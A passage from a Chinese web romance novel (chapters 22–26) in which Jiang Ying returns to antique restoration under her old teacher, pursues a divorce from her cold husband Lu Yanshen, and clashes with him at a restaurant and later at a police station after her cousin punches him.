“逍遥楼复原项目还有没有兴趣?舅舅很想让你跟他一起去。”
江莹心里是感动的,她想开口的事,还没有说出口,宋瑾修已经问出口。
他总是这样,从来没有让她犯过难,好像总能知道她想要什么。
就像这几年,江莹为了避嫌,不让陆砚深误会,刻意跟他保持距离,甚至疏远他,他也从来没有问过一句。
却总能做到有求必应。
“钟老师也要去,他身体不是不好吗?”
钟老师年初查出来肾脏代谢有问题,一直在吃药。
“你知道的,逍遥楼重建一直是他的梦想,现在发掘已经基本完成,整天跟打了鸡血一样,就等着上头一声令下,他就直奔现场了。”
江莹弯唇笑笑,“老师的性格直爽,我很佩服他对事业的这份热情。”
“他一直夸你,说你是她最有天赋的学生,能够感受到古建筑的温度和底蕴。古建筑修复的非遗传承,他一直最看好你。”
宋瑾修的话让她有些惭愧,老师对她的期望,她是知道的,但这些年为了一个男人她放弃了。
见江莹不说话,宋瑾修点到为止,没有再继续。
两人到古坊斋的时候,钟宏正在屋里研究那个宋代的妆奁。
古坊斋内,檀香袅袅,一切都是江莹熟悉的味道。
钟宏眯着眼,手里拿着放大镜,正对着那只宋代剔红妆奁叹气。
受损的位置在表面的花瓣上,若是以前倒不会让他犯难,但这两年眼睛花得厉害,他生怕自己一刀下去不但没有修好,反而破坏了原本的漆木。
“舅舅,你看谁来了?”
江莹看到钟宏拿着放大镜弓着腰在研究,悄悄躲到了宋瑾修背后,想逗逗这个爱生气的小老头。
“谁呀?”
钟宏摘了自己的老花镜,抬头看过去,皱眉瞪他,“哪儿有人,又哄我。”
宋瑾修转头看到躲在自己身后的女生,抿唇笑道:“没哄你,她又在调皮。”
第22章 江莹终于肯回头
宋瑾修说话间将江莹从身后扯了出来,“多大了,还跟小孩子一样躲迷藏。”
钟宏没在意,拧眉看自己面前的妆奁。
“老师,您眉头皱得都能夹死苍蝇了。”
清脆带笑的女声响起。
钟宏手一抖,差点没拿稳手里的放大镜。
看到从宋瑾修身后探出脑袋的江莹,钟宏愣了足足三秒,随即胡子一翘,把放大镜往桌上一拍。
“哟,这不是陆太太吗,什么风把你给吹来了?”
江莹对于老师的挖苦并不生气,反而娇笑道:“西南风,带财。”
“哼,嫁进豪门就是不一样,浑身占着俗气,张嘴闭嘴不离钱。”
嘴上说着不屑的话,眼里的惊喜却是藏都藏不住。
江莹鼻头一酸,走过去抱住老人的胳膊晃了晃。
“老师,我这不是来脱俗了吗,您这里没有铜臭味儿,可以很好地帮我脱掉俗气。”
“那还是算了吧,别没帮你脱掉俗气,反而你把我这里弄的都是铜臭味儿。”
宋瑾修看钟宏不但挖苦,还端着架子,替江莹开脱,“行了舅舅,你隔两天念叨她一回,真要把人气走了,我可不帮你传话。”
钟宏瞪他一眼,“胳膊肘往外拐,你就向着她吧。这么多年没见你向着我过。”
江莹笑笑,“师哥说得对,您在这么挖苦我,我真走了,怎么说我也是女孩子,脸皮还是很薄的。”
“你?脸皮薄?”钟宏睨了她一眼,“就没有见过比你脸皮厚的。”
说到这里江莹咯咯笑了起来,当初她确实厚着脸皮让钟老师教她的古建筑修复技艺,那可以非遗传承。
钟宏本来看她一个女孩子,娇娇弱弱不想收她,这丫头天天缠着他,课堂上也就算了,她还缠到他家里去了。
每天哄得他老婆子嘎嘎乐,还说不把江莹收为关门弟子,就跟他离婚。
气得钟宏没有办法勉强收徒,谁知这丫头倒是不含糊,后来他是越教越喜欢,领悟能力强,动手能力也强。
更重要的是她对古建筑和古物件似乎有着比他还浓烈的喜爱。
笑罢,江莹挽着老师个胳膊,将人按在太师椅上,“那我今天就再脸皮厚一点,求您就别生我气了好不好。”
钟宏哼了一声,伸手在她脑门上虚点了一下,“你脸皮那么值钱呢?”
宋瑾修在一旁笑着打圆场,“舅舅,莹莹也是身不由己,您就别端着了。”
钟宏白了他一眼,“就你护着她。”
老头儿端起紫砂壶喝了口水,余光却还在江莹身上打转,“今儿不是周末,陆氏不忙?”
江莹脸上的笑意淡了几分,松开手,走到工作台前拿起一把刻刀,指尖摩挲着刀柄。
她好像有快两年没有拿过刻刀,结婚后就围绕着陆砚深转,放弃了自己的喜好,从事建筑方案设计。
一个在陆氏不被陆砚深看重的版块,她却干得很卖力,只为能跟他走得更近。
总以为日久生情,却不想日久也生厌。
“我不干了。”
她语气平静,嘴角含笑。
屋里的空气,却瞬间凝固。
宋瑾修正在倒茶的手猛地一顿,茶水溢出杯口,他却浑然不觉。
钟宏直接摘了老花镜,瞪圆了眼,“你说什么?”
江莹抬眸,眼神清澈而坚定,“辞职信我已经交了,以后我有的是时间来陪您。”
钟宏眉头紧锁,仍旧一副不可思议的表情,“真辞职?”
不是钟宏不相信,当初这丫头为了陆砚深,那股子执拗劲儿他是见识过的。
他劝了多久让她跟着自己,甚至把古坊斋都留给她,她都没有动容,一心想进陆氏。
当时钟宏特别生气,结个婚人都傻了。
江莹放下刻刀,深吸一口气,释然笑道:“嗯,还打算离婚。”
“啪”的一声。
钟宏手里的紫砂壶直接放在桌子上,发出清脆的响声。
他快速坐直身体,声音都带着颤抖,“莹莹,你想好了?”
宋瑾修抿了口茶,垂眸不语,握着水杯的手,指节泛白。
江莹含笑点了点头,“嗯,想好了。”
“捂不热的石头,就不捂了。”
钟宏沉默了半晌,看着江莹脸上淡淡的笑意,笃定道:“离了好!离了好!”
“不合适的婚姻其实就跟那种烂了芯的木头一样,外表漆得再光鲜,也长久不了,早扔早解脱!”
这两年江莹的处境,他怎么可能不知道。这丫头倔强,一根筋,认准的事十头牛都拉不回来。
老头儿说着,起身从架子上把那个宋代妆奁搬了过来,往江莹面前一推。
“既然闲了,就别偷懒。”
“这东西顾客下周五来取,我老了,眼花手抖,你给我修好它。”
“就当是你回归师门的投名状。”
江莹笑笑,语气轻松,“老头儿,我什么时候被逐出师门了?再说了,我说来看您,也没说要给您当苦力呀。”
“少贫,赶紧看看,不能完好如初,出去别说是我学生。”
江莹蹙眉,笑着查看面前的妆奁,器型完整,漆皮有些剥落,唯一受损的是花瓣。虽然历经沧桑,但依旧难掩它的风韵。
“行,保证完好如初。”
她随手挽起长发,抱起妆奁放在工作台上,直接就进入了状态。
室内的光线打在她脸上,神色专注,整个人沉静美好。
宋瑾修坐在角落的椅子上,目光停留在她身上,温润的眸子里隐藏着只有他自己能感受到的炙热。
江莹终于肯回头了。
……
陆氏集团顶层,总裁办。
陆砚深推门而入,浑身散发着生人勿近的冷气。
秘书办的人大气都不敢出,看着大老板阴沉着脸走进办公室。
陆砚深扯松了领带,烦躁的外套扔在沙发上。
冷着脸坐到办公椅上,看着堆积如山的文件,快速进入工作状态。
签完最后一份文件,已经是三个小时候后。
他揉了揉发胀的太阳穴,随手将文件扔到一旁,一份薄薄的文件被撞到,掉在地毯上。
他皱眉,弯腰捡起。
在冷白的灯光下,纸张中间的四个大字,显得格外刺眼——离婚协议。
陆砚深愣了一瞬,随即嗤笑出声:“这次闹得还挺像那么回事。”
又是离家出走,又是跟娘家反目,连离婚协议都整出来了。
道具准备得倒是齐全。
他坐在办公椅上,身体闲散地靠着,双腿交叠,带着几分看戏的心态翻看手里的“道具”。
视线落在“离婚原因”那一栏时,眉梢不受控制地挑了起来。
第23章 你老婆很勾人
【离婚原因:男方患有间歇性眼瞎心盲症,且伴有深度情感障碍。女方为保全智商及生命安全,申请终止这段扶贫式婚姻。】
陆砚深被气笑了。
扶贫式婚姻?
间歇性眼瞎心盲?
这么直白地骂他,这种理由是可以写在离婚协议上的吗?
还说不是闹脾气,谁家离婚协议是来搞笑的?
他耐着性子继续往下看,视线移到【财产分割】一栏。
【1.位于湖心公馆的婚房为女方财产,处置权在女方,男方没有权利干预。陆氏集团股份、及男方名下所有存款、豪车等,女方分文不要,全数留给男方治病。】
【2.男方年纪大,需向女方支付精神损失费人民币:三亿元,以此赔偿女方喂了狗的三年青春。】
陆砚深捏着纸张的手指倏然收紧,纸张边缘被捏出了褶皱。
“呵,三亿,青春这么值钱?”
“我很老吗?”
自言自语时,随手将那张协议书团成一团,直接扔进了脚边的垃圾桶。
动作流畅,甚至带着几分不屑。
“幼稚。”
在他看来,这不过是江莹故意气他的手段罢了。
表面还挺像样,内容却像是在控诉,就因为他把蓝湾项目给了秦欣,所以一直闹情绪。
若是真想离婚,哪个女人会放弃几百亿的家产,只要青春损失费?
分明就是她撒娇的一种方式。
再说了,今天中午吃饭还提了一袋子助孕调理的药,她那是想要离婚的样子?
在看到江莹的辞职信时,陆砚深嘴角弯起一抹笑,抬手直接签了字。
既然要备孕,就不需要再工作,安安心心备孕也挺好。
处理完所有工作,陆砚深站起身,走到落地窗前,看着脚下川流不息的车灯。
玻璃倒映出他冷峻的面容,甚至还透着一贯的傲慢。
想到中午赌气上了别人车的江莹,他转身拿起外套,大步流星地走出办公室,难得下个早班。
结果他到湖心公馆,家里依旧黑灯瞎火。
四周的院子都灯火通明,还有饭菜香。
只有他们家清冷得没有一丝温度。
以前无论他什么时候回来,家里总有一盏灯,沙发上会有一个单薄的身影。
要么睡着,要么追剧,反正目的只有一个,等他!
听到开门声,会揉着眼睛软糯糯地开口,“怎么这么晚?肚子饿不饿?”
若是没有睡着,看到他进门会冲他奔过来,直接跳到他身上,抱着他的脖子撒娇。
但,最近的江莹似乎好久没有那么鲜活过。
想到今天明媚动人的女人,陆砚深烦躁地摸了根烟,然后拨通江莹的电话。
电话响了好久没有人接。
陆砚深脸色又黑了几分,点燃烟后深吸一口,再次拨通江莹的电话。
依旧没人接。
男人嘴角勾起一抹冷笑,以前生气她都不会超过三天,这次倒是持久。
倒要看看她能闹到什么时候。
抬手给杜宇发了消息,然后给沈斯阳打电话,“我去你那儿。”
沈斯阳今天难得当回孝子贤孙回了沈家陪爷爷吃饭,接到他电话,不地道地笑了。
这狗东西,出差回来了。
“爷爷,砚深找我有事,我出去一趟。”
“人家都结婚了,你单着,你怎么好意思总跟着人家混?”沈老爷子瞪了一眼自己不争气的孙子。
“您还真别羡慕,他这婚结得不情不愿,跟他老婆能不能长久都两说。”
“您是希望我结婚后三年抱俩,还是希望我结婚后三年无所出,最后再被老婆踹了?”
沈家老爷子看着他吊儿郎当的样子,直接拿着筷子砸了过去,“你当砚深跟你一样,不靠谱,人家永远知道什么时候该做什么事。从小跟在人家屁股后面,怎么就没学到点。”
沈斯阳抿唇,这老头儿,被陆砚深灌了什么迷魂药,从小夸到大。
他哪里好了?
脚踏两条船好?
他是没有陆砚深有能力,但咱不缺德,虽然女人换得勤,但从来不同时纠缠搞暧昧。
“行行行,他哪儿的都好,我现在赶紧去跟他学学。”
反正陆砚深的形象在他家老爷子心里根深蒂固,他也懒得辩解,毕竟那狗东西一直都是大人口中别人家的孩子。
沈斯阳到迷度时,陆砚深已经喝上。
“哎,你那脆弱的胃受得了吗?”
沈斯阳说着抬腿踢在他脚上,狗东西在长辈面前装得人模狗样,背后不是跟他一样不靠谱。
“这么晚,又在哪个妹子床上。”陆砚深抬起眼皮,冷冷看了他一眼。
“你羡慕?哥们儿给你介绍几个,天天看着一个,心里惦记着一个,会审美疲劳。”沈斯阳挖苦他。
陆砚深睨了他一眼,直接给他倒了满满一杯酒。
沈斯阳勾着唇坐下,开口又戳他心窝子,“你老婆今天没来,我们这儿好几个靓仔都翘首等着呢。私下他们讨论说江莹小腰特别细。哎,别说你老婆放开了还真挺勾人,之前我一直觉得她就像个木偶一样呆板无趣,这几天她已经颠覆了我对她的认识。”
“你想死?”
陆砚深冰冷的眸子递过来,眼底腾着杀意。
“卧槽,这么看着我,我好怕呀!”
沈斯阳嘴角勾着笑,身体懒散的靠在沙发上,翘起二郎腿悠哉悠哉地晃着。
陆砚深懒得搭理他,独自喝酒。
沈斯阳斜着眼瞄他,贱兮兮笑道:今天这是遇到事儿了?
他跟陆砚深从小一起长大,以他对这家伙的了解,只有他情绪特别丧的时候才会像现在这样独自喝酒。
“能有什么事?”
沈斯阳撇嘴笑道:“你这张嘴,等你化成灰,他都烧不化,到时候我单独给它立块碑。”
陆砚深转头瞪他一眼,心想就不应该叫他来,纯属找虐。
“你说你,家里老婆乖巧听话,妖娆有风情;外面秦欣一直不声不吭等着你,你还有什么可烦的?”
说心里话,沈斯阳是羡慕到眼红。
陆砚没有接话,深薄唇轻抿,摩挲着手里的酒杯。
沈斯阳看他这副委屈的样子,咬唇笑了,“别人求不来的福分,你特么还委屈上了。老婆对你死心塌地,白月光对你不离不弃,你特么还有什么不知足。”
左拥右抱的日子,就这狗东西过得最舒服,跟过了明路一样,圈里的人都知道,私下都夸江莹大度懂事。
陆砚深听不下去,抬腿踢在沈斯阳小腿上,“不会说话就闭嘴,一天到晚嘴那么松。”
“陆砚深,你特么别得了便宜还卖惨,感觉自己多委屈一样。你丫就是个渣男,我是女朋友换得快,但我从来不左右摇摆,不像你吃着碗里的看着锅里的,家里家外。”
“谁家里家外了?”某人瞬间黑了脸反驳。
“哎,其实你跟秦欣的事,哥们都知道,你要是真喜欢放不下,就给人家一个名分。反正你也不喜欢江莹,给她一笔钱跟她离了就是了,当初她跟你结婚也是为了钱。这三年你对的她们家也算不错,张启明没少捞钱。”
听到这话,陆砚深莫名心烦,“你妈有你的时候是不是鸡下巴吃多了?”
沈斯阳气笑了,“狗东西,我扔下我爷爷来陪你,你还针对我。”
“那你可以走了,去陪沈爷爷说不定的过年能给你多发点压岁钱。”
陆砚深本来就烦,没想到这家伙来了之后没有一句话是他喜欢的。
“陆砚深,你有本事就别再来找我。”
气得沈斯阳直接在他身后叫嚣起来。
陆砚深没有回头,扬起手摇了摇,让沈斯阳更气。
出了迷度,他陆砚深站在路边掏了根烟,一时间不知道去哪儿。
家里冷冰冰的。
至于别的地方,他没有想去的欲望。
歪头点烟时,看到隔壁餐厅一张明艳的笑脸,瞬间收了打火机。
第24章 狗男人刷存在感
一直不接他电话的女人,原来是跟另一个男人约会。
陆砚深不觉间收了打火机,手里的烟被他捻得粉碎。
他正准备给江莹打电话,陆宁清脆的声音传来,“哥,你怎么站在外面?”
陆宁挽着秦欣从停车场上来。
“砚深,外面这么冷,你当心感冒。”
陆砚深压着脾气看向她们,“你们俩来干什么?”
“哦,欣欣说这家的鱼不错,我们逛完街就过来了。”
陆砚深顺着陆宁的手看到正是江莹所在的餐厅,沉声道:“刚好我还没有吃饭,跟你们一起去。”
秦欣暗暗高兴,她正不知道该怎么开口邀请他,才不至于让他烦,没想到他竟然自己主动说跟她们一起吃饭。
陆宁当然高兴,她巴不得自己堂哥跟秦欣好事能成,赶紧甩了那个江莹。
“好啊,快走哥,好冷。”
陆宁一手挽着秦欣,一手拉着陆砚深,三人一起走进餐厅。
在离江莹不远处,陆砚深坐下,可以清晰地看到女人言笑晏晏的模样。
江莹很久没有这么轻松地跟宋瑾修一起吃饭。
之前是觉得结了婚就应该跟别的男人保持距离,更何况她跟师哥曾经又过于亲近。
但现在,她心里坦荡,而且师哥也从来没有提过以前的事,看来已经不介意。
或者说当初师哥对她也只是出于同情,所以才会那么照顾她,以至于说出重新给她一个家的话。
“怎么样,这家鱼是不是很好吃?”宋瑾修边给她盛鱼汤边开口问。
江莹笑眯眯点头,“确实很好喝,但我已经喝了两碗,你再让我喝下去,路都走不动了。”
“你太瘦了,多喝吃点。”
陆砚深看着江莹胸前的V领觉得异常刺眼,还有那温和明媚的笑,有多久她没有这么看着自己笑过。
“哥,你看什么呢?”
陆宁坐在陆砚深对面,不知道他哥看什么这么入神。
秦欣却是一进来就注意到陆砚深的目光一直盯着一个方向。
她顺着他的视线看过去,看到了笑容满面的江莹。
“砚深,莹莹在那边,要不要打个招呼,或者叫过来一起?”
看陆砚深沉着脸,秦欣话说完就没敢再吱声。
倒是陆宁瞬间不淡定,“这男人是谁呀,怎么江莹对他笑得这么不值钱。”
“哥,中午跟我们一起吃饭,从头到尾那笑,假模假样,真当我跟大姐看不出来呢。”
陆宁气呼呼地侧身瞪着江莹。
江莹感受到有人看她,抬头朝着视线的来源看了过去。
看到陆砚深那张黑得能滴水的脸,心里咯噔一下。
这狗东西怎么也在这里?
反应一瞬后,想到自己都要离婚了,还怕他个屁。
他可以跟自己的青梅加白月光一起吃饭,她为什么不能跟师哥一起吃饭。
相比之下,应该生气的是她吧,中午吃饭,晚上吃,等会儿是不是还要回去一起睡?
“莹莹,想什么呢?”
宋瑾修看她盯着碗里的鱼汤搅拌,出声询问。
“哦,没有,就是觉得吃太饱了,有点喝不下。”
“喝不下就别勉强,刚好我还没有吃饭。”
抬步走来的男人,直接在她身边坐下,然后自然而然地接过她手里的碗,坦然地喝了起来。
“你没吃饭,你去点,跑过来抢我的干什么?”
“你不是吃不下,浪费可耻。”
男人喝鱼汤的间隙,还不忘回怼。
宋瑾修看着低头喝汤的陆砚深,眸子里闪过一抹复杂的情绪。
但很快他勾唇一笑,“看来陆总是真的饿了,刚好我们点得多了,你不介意随便吃。”
“多谢。”
陆砚深抬眸看着宋瑾修,一时间有些恍惚,这人看起来似乎有些眼熟。
宋瑾修看他直勾勾看着自己,抿唇笑道:“陆总,这么看着我,是觉得眼熟?”
陆砚深放下汤勺,拧眉道:“我们之前见过?”
“陆总贵人多忘事,记不得也正常,毕竟我们小公司入不了陆总的眼。”
陆砚深挑眉,“那看来是真的见过。”
“去年的金融峰会,我们公司有幸受邀,跟陆总有过一面之缘。我是荣盛资本的宋瑾修,幸会!”
宋瑾修伸手,温润的笑意挂在脸上,有礼有节。
陆砚深听到宋瑾修这个名字,缓缓伸出了手。
两个男人的手握在一起,却也是只一瞬,陆砚深就抽回,眼底是掩不住的敌视。
他听说过,江莹在校期间跟一个师哥关系不一般,若不是她奶奶拉着她去陆家逼婚,她应该会跟宋瑾修在一起。
当初,张家老太太看不上宋瑾修,所以从某种意义上也算是将两人拆散了。
宋瑾修笑容客气而得体,对比陆砚深的冷冽,是两种截然不同的感受。
“你回你那桌,别让人家眼巴巴等着你。”江莹低声提醒。
“这么快赶我走,我打扰你们叙旧了?”
江莹抬手在他腿上拧了一下,“赶紧滚。”
“我在外面等你,跟我回家,要不然后果是什么不好说。”
宋瑾修看两人嘀咕,也不打扰,垂眸盯着自己碗里的菜,眼底视线冷若冰霜,还带着隐隐的恨意。
“陆砚深,你有病吧,我为什么要跟你回去。”江莹被他气到,“你不要脸就坐着,看你的小情人眼巴巴的样子,我还挺开心的。”
“莹莹,你离职手续什么时候办完?”宋瑾修开口问。
“哦,今天经理通知我元旦节后就可以去办手续。”
江莹睨了一眼陆砚深,狗东西是有多希望她走,出差回来第一天就签了她的离职报告。
“那好,有你在舅舅应该会轻松不少,要不然我还挺担心他学校和古坊斋两头跑身体吃不消。”
陆砚深听出来他们谈话的深层意思,冷声道:“辞职是让你回去好好调养身体备孕的,不是让你到处乱跑的。”
“备孕”两个字,在宋瑾修脑袋里炸开,不是要离婚,怎么还备孕了?
“你胡说八道什么,谁要备孕,辞职报告签了,离婚协议什么时候签?”
江莹不想跟他踹在明白装糊涂,在师哥面前演。
“还闹脾气,你这脾气要闹几天?”
陆砚深抬手握住她的手,眼神带笑,还有那么一抹娇哄的韵味。
看得江莹愣了一瞬,最终把这狗东西的行为归结到护食。
“哥,菜上来了,你还吃不吃?”
秦欣在那边怄的要死,要不容易遇到机会一起吃个饭,却不想他是因为看到了江莹。
陆砚深的行为让她心底涌起不安。
宋瑾修视线落在两人握着的手上,嘴角勾起一抹冷笑,“陆总,你这是陪妹妹来的,还是陪秦小姐。”
“宋总有意见?”
“莹莹的意见就是我的意见,她高兴我就跟着开心。”
陆砚深勾唇笑笑,“宋总很伟大,我替莹莹谢谢你。”
江莹听着他言不由衷的话直接将人推开,“吃你的饭去。”
陆砚深抬手捏了一下她的脸,“我在外面等你,不打扰你们叙旧。”
“宋总,听说你曾经对我太太帮助不少,晚饭我已经付过费,慢吃。”
江莹咬牙,这狗东西怎么这么幼稚。
都要离婚了在这里刷存在感,有病。
“那就多谢陆总。”
“师哥,你别搭理他,他就这德行。”
“哥,你不吃了啦?”
看到陆砚深径直离开,陆宁扯着脖子喊。
秦欣识相地拉住陆宁,“宁宁,算了,哪个男人看见自己的妻子跟别的男人有说有笑应该都吃不下去。”
“这个江莹太不要脸了,扒着我哥不放,还在外面勾三搭四。”
“这个人不一般,他三年前一手创办了盛宇,仅仅三年的时间已经在投行中跻身前三。江莹曾经跟他还有过一段,若不是张家人横插一脚,说不定两人就成了。”
“怪不得我哥气得饭都不吃了,没想到江莹敢当着我哥的面私会前男友。”
江莹好不容易把陆砚深送走,心里松口,放在桌子上的手机响了两声。
她看到陆砚深发过来的消息,胸口瞬间像是被塞了一团棉花。
第25章 上来就亲
【给你十分钟时间,赶紧给我出来,否则我让你那个师哥后悔今天跟你见面。】
江莹丝毫不怀疑陆砚深的能力,狗东西说得出就做得到。
就在她盯着手机愤愤不平时,宋瑾修的手机响起。
“什么事?”
江莹隐隐听见昌盛集团,投资疑惑这些字眼。
心里咯噔一下。
“先别慌,别人只是有顾虑,又没说不合作。”
江莹知道宋瑾修一路走来的不容易,他没有家世没有背景,一个孤儿靠自己打拼走到今天。
师哥帮过她很多,当初连张启明都不肯拿钱,宋瑾修却把他所有的存款拿了出来。
这三年,他拼事业,江莹想帮他,却被他拒绝,说她过好自己的生活就好,他的事自己可以搞定。
没有帮过他一点,却还要连累他,江莹心里过意不去。
宋瑾修挂了电话,江莹担心道:“师哥,你要有事,就先去忙,别耽误了正事。”
江莹是真的怕陆砚深给宋瑾修使绊子,这狗东西太狗了。
宋瑾修看了看时间,昌盛是他这段时间正在谈的项目,有望成为明天最大的创收项目。
“那行,今天也吃差不多了,我送你回去,改天我再请你吃饭。”
“好,我们改天约。”
两人一前一后出了餐厅,宋瑾修坚持送江莹,却被路边的车喇叭声打断。
“老婆,这边。”
陆砚深一声“老婆”差点没把江莹送走。
结婚三年,第一次听到“老婆”这两个字从他嘴里出来。
“师哥,你赶紧去处理你的事,我这边没事。”
宋瑾修一直以为是江莹哈着陆砚深,但今天的陆砚深却让他隐隐觉得不安。
“行,有事给师哥打电话。”
江莹点头送他上车,看着宋瑾修的车缓缓驶离,她转身看向陆砚深。
“你是不是有病?”
“我怎么了,不够大度吗?专门出来等你,给你们留下叙旧的空间。”陆砚深一本正经。
“陆砚深,你若是针对我师哥,我一定会让你付出代价。”
陆砚深看着一心维护另一个男人的女人,眉心直跳,“不想让你师哥有事,就上车。”
江莹原本不想搭理他,但看到门口站着的秦欣,嘴角勾起一抹冷笑。
狗男人,欺负她,那就别怪她欺负他的小情人。
江莹开门上车,直接跨坐在陆砚深腿上,捧着男人的脸直接亲了下去。
陆砚深懵了一瞬,才反应过来。
抬手搂住她的后腰,刚准备回应,嘴上一阵吃痛。
“江莹,你……”
陆砚深的话从两人贴着的嘴缝边溢了出来。
他想推开江莹,下唇却被她咬着,一用力疼的就是他。
江莹转眸眼睛余光看了一下秦欣,心想我气不死你。
没有离婚前,你就得受着,装货。
司机看两人上来就吻了起来,发动车子,缓缓关上车窗。
车子驶出去一段距离,江莹松开陆砚深,翻身从他身上下来。
“江莹,你……”
陆砚深抬手擦了擦下唇,看到手上的淡淡的血印,一把捏住她的下巴,迫使她看向自己。
女人殷红的唇,泛着水润的光,一张小脸因为生气,更显得生动。
“报复人的方式还挺特别。”
说完朝着江莹压了下去,在即将触碰到江莹水润红唇的那一瞬,江莹将人推开。
“别人让我不爽,我也会让别人不爽。”江莹弯唇冷笑,“刚刚你的小情人直勾勾盯着你看,穿着单薄的衣服站在风中还挺可怜的。”
陆砚深了然,原来她刚刚真的是报复人,而且还是报复秦欣。
几天不见,还真像沈斯阳说的那样,江莹变得越来越有趣了。
“用完就扔,渣女。”
“嗬”江莹冷笑,“你怎么好意思说我?”
“陆砚深,肾源的事,我相信你不会骗我,虽然你对我没什么感情,但你的不会见死不救。”
“至于我们离婚的事,你尽快把字签了,我拿钱走人,你也回复自由,不用让她站在风里眼巴巴看着你。”
“江莹,她不会威胁到你的位置,你不用时时处处针对她。”
陆砚深听到江莹再次提离婚,心里一阵烦躁。
“我针对她?她都跑到我家抱着我的丈夫撒娇了,还叫我针对她?你能发誓这次帮了她之后就不再见她,不再管她吗?”
这话一出口,陆砚深沉默了。
即便明知道不可能,她还是问出了口,执拗地盯着陆砚深,等待他的答复。
良久,陆砚深开口,“我答应过护她周全,不能视而不见。”
江莹笑笑,自己就是多此一问,他怎么能不管自己的孩子,看着给他生了孩子的女人受委屈而不管。
“江莹,闹也要有个度,这几天我已经给你台阶,你适可而止。”
“那我要谢谢陆总了,感谢陆总宽宏大量。”
她话音刚落,陆砚深手机响起。
看到轩宝这个名字,江莹转头自嘲地笑了笑。
电话里小孩子哭得可怜,里面还有阿姨的声音。
对方声落,陆砚深沉声道:“我马上过去。”
电话挂断,江莹开口,“停车,你们陆总有事要忙,靠边把我放下。”
说完看向陆砚深,“陆总,我很识趣的,不让你为难。”
“江莹,你别得寸进尺,我已经给你搭了梯子,聪明的话赶紧下来,我的耐性是有限的。”
“那我谢谢陆总咯,但我这个人福薄,怕从陆总这个梯子上下来会摔死。”
陆砚深的怒火被江莹挑了起来,看着江莹冷嘲热讽的态度,赌气道:“难得太太这么懂事,靠边让她下去。”
车子本来是开往湖心公馆的,这条路是两边几乎都是富人区,绿化很好,也很空旷。
唯独就是不好打车,很少有网约车或出租车来这边,因为大多数人都是专车来往。
“陆总,这边不……”
“停车。”
男人不耐烦的声音,让司机不敢耽搁直接靠边停车。
江莹鄙视地看了一脸清冷的陆砚深,直接推门下车。
自己刚刚还想让他跟秦欣了断,真够蠢的,看看现在被扔的人是她。
怎么就以为陆砚深会为了她放弃秦欣,一声“老婆”就给她叫得把脑子抛到了一边,看不清事情的本质。
男人的劣根性而已,真当他对自己有别的心思,那就错了。
暗嘲自己又犯贱后,江莹开口,“离婚协议尽快签,别耽误我再嫁。”
说完,车门被她摔得“嘭”一声关上。
陆砚深发了条想消息,直接吩咐开车。
江莹走在夜色中,阵阵寒风只往她脖子里钻。
以为一直在室内,所以她穿得并不厚,此刻身上的羊绒衣只觉单薄。
再次被陆砚深的薄情反噬,她心里没有像上次那样痛,反而是释然后的轻松。
……
晚上十一点,江莹刚泡好澡,一个陌生电话打了进来。
她挂断后,手机再次响起。
这次打来的是江墨。
电话接通,传来不是江墨的声音,而是一个陌生人。
“是江墨表姐吗?”
“我是。”
“我是霞弯路派出所民警。”
江莹瞬间觉得不好,“江墨出什么事了?”
“他现在在我们霞湾路派出所,因为打了人,现在对方要告他,麻烦你过来一趟。”
第26章 嘴被狗啃的
听到这话,江莹瞬间不淡定。
挂了电话,她换了衣服裹上羽绒服就往外走。
心想,还有一个学期就要毕业了,怎么可以这么冲动,若是留下案底,他还想不想找工作了。
到派出所,江莹看到翘着二郎腿坐着看手机的男人,和脸上挂彩蹲在一旁的江墨后,觉得以后要监督他去健身。
最好是让他跟着梁玥学几招。
一个二十出头热血青年,被一个三十出头的男人揍这么惨,太丢人了。
陆砚深看到她挑眉,看向江墨。
江墨则从地上站了起来,“姐。”
江莹看了一眼两人,没有说话直接去了隔壁办公室,
“警察同志你好,我是江墨的表姐。”
警察看到她,脸上神色一言难尽,心里暗暗同情这个女同志。
自己老公跟自己表弟打起来,是因为老公在外面有人。
但对方是陆砚深,他们领导刚才都过来了。
让陆砚深先走,偏偏人家就不走,非要待在拘留室等,显然是在等她。
目的是啥不好说。
“你好,是这样,江墨在医院看到把陆总打了,陆总不接受道歉,非要告他。”
听到医院,江莹愣了一瞬,他不是去秦欣那里了吗,怎么去了医院?
“警察同志,麻烦你把事情详细经过跟我说一下。”
警察虽然同情她,但事情到了这一步,也不得不说。
自己老公在外面有女人还有孩子,说真的那小伙子打得好。
但对方毕竟是陆砚深,在江北只要不违法乱纪,谁能说他个不字。
听了事情经过,江莹了然。
“这件事,还是要看陆总的态度。”
警察的意思很明确,让她去找陆砚深谈谈。
“江墨是大学生,还没毕业留下案底不好,你们毕竟是夫妻,你看……”
警察同志的言外之意,江莹明白这事需要看陆砚深的态度,想让她去私下调解。
江莹沉默一瞬,开口,“我去找他,谢谢您!”
江莹在回到拘留室,陆砚深面前的桌子上已经放了一杯热茶。
他懒散地靠在桌子上,好整以暇的样子,显然是等着她。
“姐,这事你别求他,是我揍的他,他活该。”
江墨今天考试完,他出来找兼职,吃完饭想着去医院看看他妈,没想到竟然碰到陆砚深抱着孩子和秦欣一起在医院。
那孩子竟然叫他“爸爸”。
江墨一气之下,一拳打在他脸上,然后揪着他的衣领就揍。
长这么大没有被人打过,但对方是江莹的表弟,陆砚深咬牙没有还手。
谁知司机打来电话说根本就没有接到江莹,一路回到湖心公馆,家里根本就没有人。
十天了,还没消气,又没有回家。
于是,借题发挥。
这才有了现在的事。
陆砚深看了一眼江墨,声音冷淡,“还挺有骨气。”
“陆砚深,你想怎么样?”
陆砚深看着她,嗓音淡淡,“不如你说想让我怎么做?”
江莹就知道这狗东西就故意的,咬牙道:“放过江墨,条件你开。”
陆砚深起身,拿起外套穿上,“跟我回家。”
江墨不干,蹭一下站了起来,“姐,别跟他回去。嘴被狗啃成那样脏死了,他配不上你。”
说着拉住江莹的手,将人护在身后。
“狗东西,别想再祸害我姐。”
江莹:……
陆砚深清冷的脸上闪过一抹笑,看着江莹沉声道:“确实是被狗咬的,一只乱咬人的小狗。”
“你还得意上了。”
江墨又要上前撕扯,被江莹拦住,“别闹了,在派出所闹,你还想不想出去?”
“小子,等你翅膀硬了再给你姐出头,菜鸡一个,还逞能当英雄。”
说完推开江墨,拉着江莹往外走,“今晚带着这里好好反省,要为自己的冲动付出代价。”
江莹被他拽着,挣脱不了,但也知道若是把陆砚深惹急,江墨讨不到好处。
回头叮嘱道:“我没事,不用担心,明天一早我来接你。”
“姐,你别怕他,他再有权有势还能大得过法律,婚内出轨,本身就是他不对。”
江墨往外冲着喊,被警察拦住,只能眼睁睁看着江莹被陆砚深带走。
